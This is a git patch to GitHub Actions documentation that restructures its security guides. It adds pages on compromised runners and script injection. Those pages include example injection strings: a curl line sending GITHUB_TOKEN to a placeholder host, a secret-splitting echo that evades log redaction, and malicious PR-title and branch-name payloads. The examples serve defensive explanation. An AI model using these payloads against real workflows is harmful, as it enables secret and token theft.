From a9c98fc12cd619480aa2c5d8caf60fef429c8869 Mon Sep 17 00:00:00 2001 From: Joe Clark <31087804+jc-clark@users.noreply.github.com> Date: Wed, 16 Jul 2025 06:29:10 -0700 Subject: [PATCH 1/3] [EDI] Actions security guides (#56583) Co-authored-by: Kevin Heis Co-authored-by: Sam Browning <106113886+sabrowning1@users.noreply.github.com> --- .../concepts/security/compromised-runners.md | 82 +++++ .../actions/concepts/security/github_token.md | 4 +- content/actions/concepts/security/index.md | 2 + .../concepts/security/script-injections.md | 59 ++++ content/actions/concepts/security/secrets.md | 14 +- .../security-for-github-actions/index.md | 3 +- .../security-guides/index.md | 17 - .../use-github_token-in-workflows.md | 88 ----- ...es-to-secure-your-use-of-github-actions.md | 91 ----- ...ontrolling-permissions-for-github_token.md | 44 --- .../choosing-what-your-workflow-does/index.md | 3 +- .../store-information-in-variables.md | 7 +- .../using-secrets-in-github-actions.md | 6 + .../reference/github_token-reference.md | 57 ---- content/actions/reference/index.md | 2 +- .../reference/openid-connect-reference.md | 2 +- .../reference/reusable-workflows-reference.md | 2 +- .../actions/reference/secrets-reference.md | 6 + .../secure-use-reference.md} | 320 ++++++++---------- .../workflow-syntax-for-github-actions.md | 13 + .../tutorials/creating-an-example-workflow.md | 2 + content/actions/tutorials/index.md | 2 + .../use-github_token-in-workflows.md | 81 +++++ data/learning-tracks/admin.yml | 4 +- .../section-assigning-permissions-to-jobs.md | 4 + 25 files changed, 422 insertions(+), 493 deletions(-) create mode 100644 content/actions/concepts/security/compromised-runners.md create mode 100644 content/actions/concepts/security/script-injections.md delete mode 100644 content/actions/how-tos/security-for-github-actions/security-guides/index.md delete mode 100644 content/actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows.md delete mode 100644 content/actions/how-tos/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md delete mode 100644 content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token.md rename content/actions/how-tos/{security-for-github-actions/security-guides => writing-workflows/choosing-what-your-workflow-does}/using-secrets-in-github-actions.md (98%) delete mode 100644 content/actions/reference/github_token-reference.md rename content/actions/{how-tos/security-for-github-actions/security-guides/security-hardening-for-github-actions.md => reference/secure-use-reference.md} (57%) create mode 100644 content/actions/tutorials/use-github_token-in-workflows.md diff --git a/content/actions/concepts/security/compromised-runners.md b/content/actions/concepts/security/compromised-runners.md new file mode 100644 index 000000000000..00c1fed7d2e8 --- /dev/null +++ b/content/actions/concepts/security/compromised-runners.md @@ -0,0 +1,82 @@ +--- +title: Compromised runners +intro: 'Understand the security risks associated with compromised {% data variables.product.prodname_actions %} runners.' +shortTitle: Compromised runners +versions: + fpt: '*' + ghes: '*' + ghec: '*' +redirect_from: + - /actions/concepts/security/compromised-runner +--- + +## Potential impact of a compromised runner + +These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. + +{% ifversion fpt or ghec %} + +> [!NOTE] +> {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. + +{% endif %} + +### Accessing secrets + +Workflows triggered from a forked repository using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues`, `push` and `pull_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). + +* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. +* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. +* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: + + {% raw %} + + ```yaml + uses: fakeaction/publish@v3 + with: + key: ${{ secrets.PUBLISH_KEY }} + ``` + + {% endraw %} + +Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. + +### Exfiltrating data from a runner + +An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. + +### Stealing the job's `GITHUB_TOKEN` + +It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. + +### Modifying the contents of a repository + +The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). + +### Cross-repository access + +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. + +If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). + +You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. + +This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: + +1. **The `GITHUB_TOKEN`** + * This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). + * The `GITHUB_TOKEN` should be used whenever possible. +1. **Repository deploy key** + * Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). + * Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. +1. **{% data variables.product.prodname_github_app %} tokens** + * {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). +1. **{% data variables.product.pat_generic %}s** + * You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. + * If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. +1. **SSH keys on a personal account** + * Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. + +## Next steps + +For security best practices with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/reference/secure-use-reference). diff --git a/content/actions/concepts/security/github_token.md b/content/actions/concepts/security/github_token.md index 4d6fe3339bdf..498955a6563e 100644 --- a/content/actions/concepts/security/github_token.md +++ b/content/actions/concepts/security/github_token.md @@ -12,7 +12,7 @@ versions: At the start of each workflow job, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in the workflow job. -When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [AUTOTITLE](/actions/reference/github_token-reference#permissions-for-the-github_token). +When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions). Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %} @@ -27,4 +27,4 @@ The token is also available in the `github.token` context. For more information, ## Next steps * [AUTOTITLE](/actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows) -* [AUTOTITLE](/actions/reference/github_token-reference) +* [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions) diff --git a/content/actions/concepts/security/index.md b/content/actions/concepts/security/index.md index 2fcb12d44ef7..01603c7e36f4 100644 --- a/content/actions/concepts/security/index.md +++ b/content/actions/concepts/security/index.md @@ -10,5 +10,7 @@ children: - /secrets - /github_token - /openid-connect + - /script-injections + - /compromised-runners --- diff --git a/content/actions/concepts/security/script-injections.md b/content/actions/concepts/security/script-injections.md new file mode 100644 index 000000000000..e384e3464315 --- /dev/null +++ b/content/actions/concepts/security/script-injections.md @@ -0,0 +1,59 @@ +--- +title: Script injections +intro: Understand the security risks associated with script injections and {% data variables.product.prodname_actions %} workflows. +shortTitle: Script injections +versions: + fpt: '*' + ghes: '*' + ghec: '*' +--- + +## Understanding the risk of script injections + +When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. + +Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + +You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). + +In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. + +The following sections explain how you can help mitigate the risk of script injection. + +### Example of a script injection attack + +A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: + +{% raw %} + +```yaml + - name: Check PR title + run: | + title="${{ github.event.pull_request.title }}" + if [[ $title =~ ^octocat ]]; then + echo "PR title starts with 'octocat'" + exit 0 + else + echo "PR title did not start with 'octocat'" + exit 1 + fi +``` + +{% endraw %} + +This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. + +To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: + +![Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".](/assets/images/help/actions/example-script-injection-pr-title.png) + +In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: + +```shell +Run title="a"; ls $GITHUB_WORKSPACE"" +README.md +code.yml +example.js +``` + +For best practices keeping runners secure, see [AUTOTITLE](/actions/reference/secure-use-reference#good-practices-for-mitigating-script-injection-attacks). diff --git a/content/actions/concepts/security/secrets.md b/content/actions/concepts/security/secrets.md index bac2de67f2a5..ca2db4136dc9 100644 --- a/content/actions/concepts/security/secrets.md +++ b/content/actions/concepts/security/secrets.md @@ -16,6 +16,14 @@ Secrets allow you to store sensitive information in your organization, repositor {% data variables.product.prodname_actions %} can only read a secret if you explicitly include the secret in a workflow. +{% ifversion fpt or ghec %} + +## How secrets work + +Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime. + +{% endif %} + ## Organization-level secrets {% data reusables.actions.secrets-org-level-overview %} @@ -40,11 +48,7 @@ Instead of using a {% data variables.product.pat_generic %}, consider using a {% {% data variables.product.prodname_actions %} also redacts information that is recognized as sensitive, but is not stored as a secret. For a list of automatically redacted secrets, see [AUTOTITLE](/actions/reference/secrets-reference#automatically-redacted-secrets). -> [!NOTE] If you would like other types of sensitive information to be automatically redacted, please reach out to us in our [community discussions](https://github.com/orgs/community/discussions?discussions_q=is%3Aopen+label%3AActions). - -As a habit of best practice, you should mask all sensitive information that is not a {% data variables.product.prodname_dotcom %} secret by using `::add-mask::VALUE`. This causes the value to be treated as a secret and redacted from logs. For more information about masking data, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#masking-a-value-in-a-log). - -Redacting of secrets is performed by your workflow runners. This means a secret will only be redacted if it was used within a job and is accessible by the runner. If an unredacted secret is sent to a workflow run log, you should delete the log and rotate the secret. For information on deleting logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs). +Because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain security proactive steps you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets. For a reference list of security best practices with secrets, see [AUTOTITLE](/actions/reference/secrets-reference#security-best-practices). ## Further reading diff --git a/content/actions/how-tos/security-for-github-actions/index.md b/content/actions/how-tos/security-for-github-actions/index.md index bd22c207e198..995dfaf975e6 100644 --- a/content/actions/how-tos/security-for-github-actions/index.md +++ b/content/actions/how-tos/security-for-github-actions/index.md @@ -5,12 +5,13 @@ intro: 'Use security best practices with {% data variables.product.prodname_acti redirect_from: - /actions/security-guides - /actions/security-for-github-actions + - /actions/security-for-github-actions/security-guides + - /actions/how-tos/security-for-github-actions/security-guides versions: fpt: '*' ghes: '*' ghec: '*' children: - - /security-guides - /using-artifact-attestations - /security-hardening-your-deployments --- \ No newline at end of file diff --git a/content/actions/how-tos/security-for-github-actions/security-guides/index.md b/content/actions/how-tos/security-for-github-actions/security-guides/index.md deleted file mode 100644 index 1938d7c3d447..000000000000 --- a/content/actions/how-tos/security-for-github-actions/security-guides/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Security guides -shortTitle: Security guides -intro: 'Security hardening and good practices for {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /security-hardening-for-github-actions - - /using-secrets-in-github-actions - - /use-github_token-in-workflows - - /using-githubs-security-features-to-secure-your-use-of-github-actions -redirect_from: - - /actions/security-for-github-actions/security-guides ---- - diff --git a/content/actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows.md b/content/actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows.md deleted file mode 100644 index a82290d6c863..000000000000 --- a/content/actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Use GITHUB_TOKEN in workflows -intro: 'Learn how to use the `GITHUB_TOKEN` to authenticate on behalf of {% data variables.product.prodname_actions %}.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token - - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token - - /actions/configuring-and-managing-workflows/authenticating-with-the-github_token - - /actions/reference/authentication-in-a-workflow - - /actions/security-guides/automatic-token-authentication - - /actions/security-for-github-actions/security-guides/automatic-token-authentication - - /actions/how-tos/security-for-github-actions/security-guides/automatic-token-authentication -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Use `GITHUB_TOKEN` ---- - -## Using the `GITHUB_TOKEN` in a workflow - -You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% data variables.product.github %} API request. - -> [!IMPORTANT] -> An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/actions/reference/github_token-reference#permissions-for-the-github_token). - -### Example 1: passing the `GITHUB_TOKEN` as an input - -{% data reusables.actions.github_token-input-example %} - -### Example 2: calling the REST API - -You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API: - -```yaml -name: Create issue on commit - -on: [ push ] - -jobs: - create_issue: - runs-on: ubuntu-latest - permissions: - issues: write - steps: - - name: Create issue using REST API - run: | - curl --request POST \ - --url {% data variables.product.rest_url %}/repos/${% raw %}{{ github.repository }}{% endraw %}/issues \ - --header 'authorization: Bearer ${% raw %}{{ secrets.GITHUB_TOKEN }}{% endraw %}' \ - --header 'content-type: application/json' \ - --data '{ - "title": "Automated issue for commit: ${% raw %}{{ github.sha }}{% endraw %}", - "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n The commit hash was: _${% raw %}{{ github.sha }}{% endraw %}_." - }' \ - --fail -``` - -## Modifying the permissions for the `GITHUB_TOKEN` - -You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access. - -You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs). - -You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. - -{% data reusables.actions.forked-write-permission %} - -The two workflow examples earlier in this article show the `permissions` key being used at the job level, as it is best practice to limit the permissions' scope. - -For full details of the `permissions` key, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#permissions). - -> [!NOTE] -> Organization{% ifversion not fpt %} and enterprise{% endif %} owners can prevent you from granting write access to the `GITHUB_TOKEN` at the repository level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization){% ifversion not fpt %} and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise).{% else %}.{% endif %} -> -> When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access. - -## Granting additional permissions - -If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a {% data variables.product.prodname_github_app %} and generate an installation access token within your workflow. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). Alternatively, you can create a {% data variables.product.pat_generic %}, store it as a secret in your repository, and use the token in your workflow with the {% raw %}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -## Configuring `GITHUB_TOKEN` permissions with private repositories - -Private repositories can control whether pull requests from forks can run workflows, and can configure the permissions assigned to `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-forks-of-private-repositories). - -## Next steps - -* [AUTOTITLE](/actions/concepts/security/github_token) -* [AUTOTITLE](/actions/reference/github_token-reference) diff --git a/content/actions/how-tos/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md b/content/actions/how-tos/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md deleted file mode 100644 index a0adf4d75cb3..000000000000 --- a/content/actions/how-tos/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Using GitHub's security features to secure your use of GitHub Actions -intro: '{% data variables.product.prodname_dotcom %} has several security features that can enhance the security of the actions you consume and publish.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: GitHub security features -redirect_from: - - /actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions - - /actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions ---- - -## About {% data variables.product.prodname_dotcom %}'s security features - -{% data variables.product.prodname_dotcom %} provides many features to make your code more secure. You can use {% data variables.product.prodname_dotcom %}'s built-in features to understand the actions your workflows depend on, ensure you are notified about vulnerabilities in the actions you consume, or automate the process of keeping the actions in your workflows up to date. If you publish and maintain actions, you can use {% data variables.product.prodname_dotcom %} to communicate with your community about vulnerabilities and how to fix them. For more information about security features that {% data variables.product.prodname_dotcom %} offers, see [AUTOTITLE](/code-security/getting-started/github-security-features#about-githubs-security-features). - -This article will explain how you can use some of {% data variables.product.prodname_dotcom %}'s security features to increase the security of your use of {% data variables.product.prodname_actions %}. - -## Understanding dependencies in your workflows - -You can use the dependency graph to explore the actions that the workflows in your repository use. The dependency graph is a summary of the manifest and lock files stored in a repository. It also recognizes files in `./github/workflows/` as manifests, which means that any actions or workflows referenced using the syntax `jobs[*].steps[*].uses` or `jobs..uses` will be parsed as dependencies. - -The dependency graph shows the following information about actions used in workflows: - -* The account or organization that owns the action. -* The workflow file that references the action. -* The version or SHA the action is pinned to. - -In the dependency graph, dependencies are automatically sorted by vulnerability severity. If any of the actions you use have security advisories, they will display at the top of the list. You can navigate to the advisory from the dependency graph and access instructions for resolving the vulnerability. - -{% ifversion fpt or ghec %}The dependency graph is enabled for public repositories, and you can choose to enable it on private repositories. For more information about using the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository).{% else %}Enterprise owners can configure the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for an enterprise. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).{% endif %} - -## Being aware of security vulnerabilities in actions you use - -For actions available on the marketplace, {% data variables.product.prodname_dotcom %} reviews related security advisories and then adds those advisories to the {% data variables.product.prodname_advisory_database %}. You can search the database for actions that you use to find information about existing vulnerabilities and instructions for how to fix them. To streamline your search, use the {% data variables.product.prodname_actions %} filter in the [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Aactions). - -You can set up your repositories so that you: - -* Receive alerts when actions used in your workflows receive a vulnerability report. For more information, see [Monitoring the actions in your workflows](#monitoring-the-actions-in-your-workflows). -* Are warned about existing advisories when you add or update an action in a workflow. For more information, see [Screening actions for vulnerabilities in new or updated workflows](#screening-actions-for-vulnerabilities-in-new-or-updated-workflows). - -### Monitoring the actions in your workflows - -You can use {% data variables.product.prodname_dependabot %} to monitor the actions in your workflows and enable {% data variables.product.prodname_dependabot_alerts %} to notify you when an action you use has a reported vulnerability. {% data variables.product.prodname_dependabot %} performs a scan of the default branch of the repositories where it is enabled to detect insecure dependencies. {% data variables.product.prodname_dependabot %} generates {% data variables.product.prodname_dependabot_alerts %} when a new advisory is added to the {% data variables.product.prodname_advisory_database %} or when an action you use is updated. - -> [!NOTE] -> {% data variables.product.prodname_dependabot %} only creates alerts for vulnerable actions that use semantic versioning and will not create alerts for actions pinned to SHA values. - -{% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for your personal account, for a repository, or for an organization. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts).{% else %}An enterprise owner must first set up {% data variables.product.prodname_dependabot %} for your enterprise before you can manage {% data variables.product.prodname_dependabot_alerts %} for your repository. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %} - -{% data reusables.dependabot.where-to-view-dependabot-alerts %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). - -### Screening actions for vulnerabilities in new or updated workflows - -When you open pull requests to update your workflows, it is good practice to use dependency review to understand the security impact of changes you've made to the actions you use. {% data reusables.dependency-review.feature-overview %} - -If any of the changes you made to your workflows are flagged as vulnerable, you can avoid adding them to your project or update them to a secure version. - -For more information about dependency review, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -{% data reusables.dependency-review.about-dependency-review-action %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#about-the-dependency-review-action). - -## Keeping the actions in your workflows secure and up to date - -{% data reusables.actions.dependabot-version-updates-for-actions %} - -The following features can automatically update the actions in your workflows. - -* **{% data variables.product.prodname_dependabot_version_updates %}** open pull requests to update actions to the latest version when a new version is released. -* **{% data variables.product.prodname_dependabot_security_updates %}** open pull requests to update actions with reported vulnerabilities to the minimum patched version. - -> [!NOTE] -> {% data reusables.actions.dependabot-version-updates-actions-caveats %} - -For information on how to configure {% data variables.product.prodname_dependabot_version_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -For information on how to configure {% data variables.product.prodname_dependabot_security_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). - -{% ifversion fpt or ghec %} - -## Protecting actions you've created - -{% data variables.product.prodname_dotcom %} enables collaboration between people who publish and maintain actions and vulnerability reporters in order to promote secure coding. {% data reusables.security-advisory.security-advisory-overview %} - -If you are someone who maintains an action that is used in other projects, you can use the following {% data variables.product.prodname_dotcom %} features to enhance the security of the actions you've published. - -* Use the dependants view in the Dependency graph to see which projects depend on your code. If you receive a vulnerability report, this will give you an idea of who you need to communicate with about the vulnerability and how to fix it. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#dependents-view). -* Use repository security advisories to create a security advisory, privately collaborate to fix the vulnerability in a temporary private fork, and publish a security advisory to alert your community of the vulnerability once a patch is released. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository) and [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). - -{% endif %} diff --git a/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token.md b/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token.md deleted file mode 100644 index 455fb07c0f3b..000000000000 --- a/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Controlling permissions for `GITHUB_TOKEN` -shortTitle: Permissions for `GITHUB_TOKEN` -intro: Modify the default permissions granted to `GITHUB_TOKEN`. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/assigning-permissions-to-jobs - - /actions/writing-workflows/choosing-what-your-workflow-does/assigning-permissions-to-jobs - - /actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github-token - - /actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.jobs.section-assigning-permissions-to-jobs %} - -## Defining access for the `GITHUB_TOKEN` permissions - -{% data reusables.actions.github-token-available-permissions %} - -### Changing the permissions in a forked repository - -{% data reusables.actions.forked-write-permission %} - 